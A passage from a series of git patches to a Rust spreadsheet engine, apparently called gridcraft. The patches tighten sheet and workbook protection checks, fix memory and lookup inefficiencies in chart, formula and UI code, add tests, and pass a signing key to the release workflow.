locked_cell_error(sh: &gridcraft_model::Sheet, c: CellRef, unlocked: &[(String, String)]) -> Option { let mut needs_password = None; for r in sh.edit_ranges.iter().filter(|r| r.contains(c)) { - if r.password.is_none() || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) { + // A range limited to Windows users or groups (a security descriptor) can't be checked + // here, so without a password it stays locked rather than opening to every editor. + if (r.password.is_none() && r.security_descriptor.is_none()) || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) { return None; } - needs_password.get_or_insert(r.title.as_str()); + if r.password.is_some() { + needs_password.get_or_insert(r.title.as_str()); + } } Some(match needs_password { Some(t) => format!("The range \"{t}\" needs its password before it can be changed (Review › Allow Edit Ranges)."), diff --git a/crates/engine/src/cmd/data/filter.rs b/crates/engine/src/cmd/data/filter.rs index 1b52e4537..437bd7887 100644 --- a/crates/engine/src/cmd/data/filter.rs +++ b/crates/engine/src/cmd/data/filter.rs @@ -270,6 +270,7 @@ pub(crate) fn apply_filter(wb: &mut Workbook, sheet: usize) { pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result { let sheet = s.doc()?.wb.active_sheet(); + crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?; edit(s, |cx| { let sh = cx.sheet_mut(sheet)?; if let Some(a) = sh.autofilter.as_mut() { @@ -283,6 +284,7 @@ pub(super) fn clear_filter(s: &mut Session, _: &Json) -> Result { pub(super) fn reapply(s: &mut Session, _: &Json) -> Result { let sheet = s.doc()?.wb.active_sheet(); + crate::cmd::refuse_unless_allowed(s, sheet, "Filtering", |p| p.autofilter)?; edit(s, |cx| { apply_filter(&mut cx.wb, sheet); cx.structural = true; diff --git a/crates/engine/src/cmd/data/grouping.rs b/crates/engine/src/cmd/data/grouping.rs index d2e183ae1..03761b454 100644 --- a/crates/engine/src/cmd/data/grouping.rs +++ b/crates/engine/src/cmd/data/grouping.rs @@ -21,6 +21,15 @@ fn outline_lines(s: &Session, p: &Json) -> Result<(bool, u32, u32)> { } } +/// Outline commands change line visibility and grouping: a protected sheet must allow formatting that axis. +fn refuse_unless_outline_allowed(s: &Session, sheet: usize, rows: bool) -> Result<()> { + if rows { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows) + } else { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns) + } +} + pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { let si = target_sheet(s, p)?; // The selection belongs to the active sheet, so another sheet needs its lines. @@ -28,6 +37,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { return Err(bad(if on { "data.group" } else { "data.ungroup" }, "missing `rows` or `cols`: the selection is on the active sheet")); } let (rows, a, b) = outline_lines(s, p)?; + refuse_unless_outline_allowed(s, si, rows)?; edit(s, |cx| { let sh = cx.sheet_mut(si)?; let before = outline::summary_before(sh, rows); @@ -58,6 +68,7 @@ pub(super) fn group(s: &mut Session, p: &Json, on: bool) -> Result { /// + button, saved to XLSX); showing keeps inner groups that were collapsed on their own collapsed. pub(super) fn detail(s: &mut Session, p: &Json, hide: bool) -> Result { let (rows, a, b) = outline_lines(s, p)?; + refuse_unless_outline_allowed(s, s.doc()?.wb.active_sheet(), rows)?; let want = p.get("level").and_then(Json::as_u64).map(|l| l.min(outline::MAX_LEVEL as u64) as u8); edit(s, |cx| { let si = cx.sheet_index(); @@ -123,6 +134,12 @@ pub(super) fn show_levels(s: &mut Session, p: &Json) -> Result { msg: "give `rows` or `cols`: the outline level to show (1 = top-level summaries only)".into(), }); } + let active = s.doc()?.wb.active_sheet(); + for (n, is_rows) in [(rows, true), (cols, false)] { + if n.is_some() { + refuse_unless_outline_allowed(s, active, is_rows)?; + } + } edit(s, |cx| { let si = cx.sheet_index(); let sh = cx.sheet_mut(si)?; diff --git a/crates/engine/src/cmd/format/sizes.rs b/crates/engine/src/cmd/format/sizes.rs index 3335d6100..c79327678 100644 --- a/crates/engine/src/cmd/format/sizes.rs +++ b/crates/engine/src/cmd/format/sizes.rs @@ -9,6 +9,17 @@ use super::{ /// sheet is `sheet`, else the prefix, else the active one. The selection belongs to the active /// sheet, so another sheet needs explicit lines. fn line_targets(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> { + let (sheet, lines) = resolve_lines(s, p, rows)?; + // Sizes and visibility are formatting of the line, which a protected sheet must allow. + if rows { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting rows", |p| p.format_rows)?; + } else { + crate::cmd::refuse_unless_allowed(s, sheet, "Formatting columns", |p| p.format_columns)?; + } + Ok((sheet, lines)) +} + +fn resolve_lines(s: &Session, p: &Json, rows: bool) -> Result<(usize, Vec<(u32, u32)>)> { let key = if rows { "rows" } else { "cols" }; let mut sheet = target_sheet(s, p)?; if let Some(t) = str_param(p, key) { diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index b713061c2..56e066383 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1100,6 +1100,10 @@ fn insert_picture(s: &mut Session, p: &Json) -> Result { .unwrap_or_else(|| if data.starts_with(&[0x89, b'P', b'N', b'G']) { "image/png".into() } else { "image/jpeg".into() }); let (w, h) = crate::io::image_size(&data).unwrap_or((320, 240)); let d = s.doc()?; + // Sheet protection locks drawing objects, as for a text box's text. + if d.wb.active().is_some_and(|sh| sh.is_protected()) { + return Err(EngineError::Other(PROTECTED.into())); + } let id = d.wb.next_object_id(); let at = cell_param(s, p, "at")?.unwrap_or(d.selection.active); let scale = (640.0 / w.max(1) as f32).min(1.0); diff --git a/crates/engine/src/cmd/pivot/create.rs b/crates/engine/src/cmd/pivot/create.rs index ce5f97257..0cec82b54 100644 --- a/crates/engine/src/cmd/pivot/create.rs +++ b/crates/engine/src/cmd/pivot/create.rs @@ -67,9 +67,6 @@ fn field_list(v: Option<&Json>) -> Vec { } pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result { - if s.doc()?.wb.protected_structure && matches!(str_param(p, "destination"), None | Some("new")) { - return Err(other("The workbook is protected and cannot be changed.")); - } let source = source_param(s, p)?; let active = s.doc()?.wb.active_sheet(); // Validate the source now (header names, size). @@ -98,6 +95,10 @@ pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result { let at = RangeRef::parse(body).map(|r| r.start).ok_or_else(|| bad("insert.pivotTable", format!("not a cell: `{dest}`")))?; Some((si, at)) }; + // Decided on the resolved destination: `New`, ` new ` and an empty one all make a sheet. + if target.is_none() && s.doc()?.wb.protected_structure { + return Err(other("The workbook is protected and cannot be changed.")); + } let replace = bool_param(p, "replace").unwrap_or(false); let rows = field_list(p.get("rows")); let columns = field_list(p.get("columns")); diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index dd7488f19..75e5eac96 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5590,3 +5590,62 @@ fn clearing_links_and_notes_keeps_allow_edit_ranges() { let sh = s.doc().unwrap().wb.active().unwrap().clone(); assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty()); } + +#[test] +fn protected_sheet_refuses_layout_commands_its_permissions_do_not_allow() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [["h"], [1], [2]]})).unwrap(); + s.execute("data.filter", json!({"range": "A1:A3"})).unwrap(); + s.execute("review.protectSheet", json!({})).unwrap(); + for (id, params) in [ + ("home.rowHeight", json!({"rows": "1:1", "height": 40})), + ("home.columnWidth", json!({"cols": "A:A", "width": 80})), + ("data.group", json!({"rows": "2:3"})), + ("data.showLevels", json!({"rows": 1})), + ("data.clearFilter", json!({})), + ("data.reapply", json!({})), + ("insert.picture", json!({"base64": "iVBORw0KGgo="})), + ] { + let err = s.execute(id, params).expect_err(id).to_string(); + assert!(err.contains("protected"), "{id}: {err}"); + } + // With the permissions ticked the same layout commands run. + s.execute("review.unprotectSheet", json!({})).unwrap(); + s.execute("review.protectSheet", json!({"formatRows": true, "formatColumns": true, "autofilter": true})).unwrap(); + for (id, params) in [ + ("home.rowHeight", json!({"rows": "1:1", "height": 40})), + ("home.columnWidth", json!({"cols": "A:A", "width": 80})), + ("data.reapply", json!({})), + ] { + s.execute(id, params).unwrap_or_else(|e| panic!("{id}: {e}")); + } +} + +#[test] +fn an_edit_range_limited_to_windows_users_stays_locked() { + use gridcraft_model::EditRange; + let mut s = s(); + let a1 = CellRef::parse("A1").unwrap(); + let range = |sd: Option<&str>| EditRange { + title: "T".into(), + ranges: vec![gridcraft_core::RangeRef::cell(a1)], + password: None, + security_descriptor: sd.map(str::to_string), + }; + let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap(); + sh.edit_ranges.push(range(None)); + assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_none(), "an open range"); + sh.edit_ranges = vec![range(Some("D:(A;;GA;;;WD)"))]; + assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_some(), "a user-limited range"); +} + +#[test] +fn pivot_new_sheet_destination_respects_workbook_structure_protection() { + let mut s = s(); + s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Sales"], ["N", 1], ["S", 2]]})).unwrap(); + s.execute("review.protectWorkbook", json!({"on": true})).unwrap(); + for dest in ["new", "NEW", " new ", ""] { + assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "destination": dest})).is_err(), "destination {dest:?}"); + } + assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "location": "New"})).is_err()); +} From f77ed98cdb47c39b592c6bbd2bb7d05a8585fc3f Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:56:56 -0500 Subject: [PATCH 295/298] chart: a series without values takes no category-span entries (#3300) --- crates/chart/src/render/cartesian.rs | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/chart/src/render/cartesian.rs b/crates/chart/src/render/cartesian.rs index 05105dbf4..7fae90a9f 100644 --- a/crates/chart/src/render/cartesian.rs +++ b/crates/chart/src/render/cartesian.rs @@ -96,8 +96,11 @@ fn series_spans(data: &ChartData, fams: &[Fam], sec: &[bool], ncat: usize) -> Ve } else { None }; - let mut row = Vec::with_capacity(ncat); - for j in 0..ncat { + // A series without values has no spans: 255 empty series over 20,000 categories would + // otherwise fill ~5 million entries. + let n = if s.values.is_empty() { 0 } else { ncat }; + let mut row = Vec::with_capacity(n); + for j in 0..n { let v = s.values.get(j).copied().flatten(); let span = match (si.and_then(|p| stacks.get_mut(p)), fam) { (Some((_, pos, neg)), Fam::ColStack | Fam::Col100) => v.and_then(|v| { @@ -450,3 +453,18 @@ pub(super) fn scatter(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) } draw_trend_labels(ctx, plot, &trend_labels); } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn empty_series_get_no_span_entries() { + let empty = SeriesData::default(); + let full = SeriesData { values: vec![Some(1.0); 3], ..SeriesData::default() }; + let data = ChartData { series: vec![empty.clone(), full, empty], ..ChartData::default() }; + let fams = [Fam::Col; 3]; + let spans = series_spans(&data, &fams, &[false; 3], MAX_CATS); + assert_eq!(spans.iter().map(Vec::len).collect::>(), [0, MAX_CATS, 0]); + } +} From e5f6fa81974df8baa54a8345fa5daed5e419256a Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:57:23 -0500 Subject: [PATCH 296/298] ui-egui: reference colours through a map; cap fill-character repeats per cell (#3311) --- crates/ui-egui/src/editor.rs | 11 +++-------- crates/ui-egui/src/grid/quadrant.rs | 6 +++++- 2 files changed, 8 insertions(+), 9 deletions(-) diff --git a/crates/ui-egui/src/editor.rs b/crates/ui-egui/src/editor.rs index d3cab75ea..71fd2a170 100644 --- a/crates/ui-egui/src/editor.rs +++ b/crates/ui-egui/src/editor.rs @@ -375,7 +375,7 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option, let offset = text.len() - body.len(); let Ok(toks) = gridcraft_engine::formula::lexer::tokenize(body) else { return vec![] }; let mut out: Vec<(usize, usize, RangeRef, Option, usize)> = Vec::new(); - let mut seen: Vec = Vec::new(); + let mut seen: std::collections::HashMap = std::collections::HashMap::new(); let mut i = 0; while i < toks.len() { use gridcraft_engine::formula::lexer::Tok; @@ -407,13 +407,8 @@ pub fn formula_refs(text: &str) -> Vec<(usize, usize, RangeRef, Option, continue; }; let key = body.get(start..end).unwrap_or("").replace('$', "").to_ascii_uppercase(); - let idx = match seen.iter().position(|k| *k == key) { - Some(k) => k, - None => { - seen.push(key); - seen.len() - 1 - } - }; + let next = seen.len(); + let idx = *seen.entry(key).or_insert(next); out.push((start + offset, end + offset, range, sheet, idx % REF_COLOR_COUNT)); continue; } diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 0469c345f..7461c2204 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -278,6 +278,9 @@ fn paint_cell_decorations(q: &QuadrantPaint<'_>, c: CellRef, rect: Rect, lk: &Lo false } +/// Most repeats of a fill character laid out in one cell. +const MAX_FILL_REPEATS: usize = 8192; + fn paint_data_bar(p: &egui::Painter, rect: Rect, frac: f32, rgb: [u8; 3], gradient: bool) { let bar = Rect::from_min_size(pos2(rect.left() + 2.0, rect.top() + 2.0), vec2((rect.width() - 4.0) * frac, rect.height() - 4.0)); let col = theme::color32(rgb); @@ -432,7 +435,8 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option Date: Tue, 3 Nov 2026 22:57:52 -0500 Subject: [PATCH 297/298] formula, calc: LET/LAMBDA names looked up through a map; ragged array literals refused before reserving (#3312) --- crates/calc/src/eval.rs | 5 ++++ crates/formula/src/input.rs | 48 ++++++++++++++++++++++++++++++++----- 2 files changed, 47 insertions(+), 6 deletions(-) diff --git a/crates/calc/src/eval.rs b/crates/calc/src/eval.rs index 7a957f3a4..7f10354da 100644 --- a/crates/calc/src/eval.rs +++ b/crates/calc/src/eval.rs @@ -325,6 +325,11 @@ impl<'h> Evaluator<'h> { Expr::Array(rows) => { let h = rows.len(); let w = rows.first().map_or(0, Vec::len); + // A ragged literal is an error either way; one wide row and many empty ones must + // not reserve their rows-times-width product first. + if rows.iter().any(|row| row.len() != w) { + return err(CellError::Value); + } let mut data = Vec::with_capacity(h * w); for row in rows { for el in row { diff --git a/crates/formula/src/input.rs b/crates/formula/src/input.rs index 1c8929739..6d95587a7 100644 --- a/crates/formula/src/input.rs +++ b/crates/formula/src/input.rs @@ -61,7 +61,7 @@ impl FormulaLocale { pub fn parse_input(src: &str, locale: FormulaLocale, known_name: impl Fn(&str) -> bool) -> Result { let mut expr = parser::parse_syntax(src, locale)?; if locale == FormulaLocale::Es { - normalize(&mut expr, &known_name, &mut Vec::new(), 0, false)?; + normalize(&mut expr, &known_name, &mut Bindings::default(), 0, false)?; } Ok(expr) } @@ -96,7 +96,7 @@ pub fn print_input(expr: &Expr, locale: FormulaLocale, known_name: impl Fn(&str) return Ok(crate::print(expr)); } let mut expr = expr.clone(); - normalize(&mut expr, &known_name, &mut Vec::new(), 0, true)?; + normalize(&mut expr, &known_name, &mut Bindings::default(), 0, true)?; let canonical = crate::print(&expr); let tokens = crate::lexer::tokenize(&canonical).map_err(|e| ParseError { msg: e.msg, pos: e.pos })?; let mut out = String::new(); @@ -131,11 +131,47 @@ pub(crate) fn boolean_alias(name: &str) -> Option { } } -fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Vec, depth: usize, display: bool) -> Result<(), ParseError> { +/// The LET/LAMBDA names in scope, with how many times each is bound, so a lookup is one probe +/// instead of a scan of every binding for each call. +#[derive(Default)] +struct Bindings { + stack: Vec, + counts: std::collections::HashMap, +} + +impl Bindings { + fn len(&self) -> usize { + self.stack.len() + } + + fn push(&mut self, name: &str) { + let key = crate::fold_name(name); + *self.counts.entry(key.clone()).or_default() += 1; + self.stack.push(key); + } + + fn truncate(&mut self, len: usize) { + while self.stack.len() > len { + let Some(key) = self.stack.pop() else { break }; + if let Some(n) = self.counts.get_mut(&key) { + *n -= 1; + if *n == 0 { + self.counts.remove(&key); + } + } + } + } + + fn contains(&self, name: &str) -> bool { + self.counts.contains_key(&crate::fold_name(name)) + } +} + +fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Bindings, depth: usize, display: bool) -> Result<(), ParseError> { if depth > parser::MAX_DEPTH { return Err(ParseError { msg: "formula is nested too deeply".into(), pos: 0 }); } - let bound = |name: &str, bindings: &[String]| bindings.iter().rev().any(|n| crate::same_name(n, name)) || known_name(name); + let bound = |name: &str, bindings: &Bindings| bindings.contains(name) || known_name(name); match expr { Expr::Bool(value) if display => { let alias = if *value { "VERDADERO" } else { "FALSO" }; @@ -156,7 +192,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut // The new name is not in scope in its own value expression. normalize(value, known_name, bindings, depth + 1, display)?; if let Expr::Name(name) = declaration { - bindings.push(name.clone()); + bindings.push(name); } } } @@ -169,7 +205,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut if let Some((body, params)) = args.split_last_mut() { for param in params { if let Expr::Name(name) = param { - bindings.push(name.clone()); + bindings.push(name); } } normalize(body, known_name, bindings, depth + 1, display)?; From 3162ac09f345df939edb0dc74ff9c86649d0a4b8 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Wed, 4 Nov 2026 17:45:51 -0500 Subject: [PATCH 298/298] Pass the Linux signing key to the release workflow (#3380) --- .github/workflows/release.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e0c09905d..eba6ece89 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -42,3 +42,4 @@ jobs: AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }} AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }} AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }} + LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }}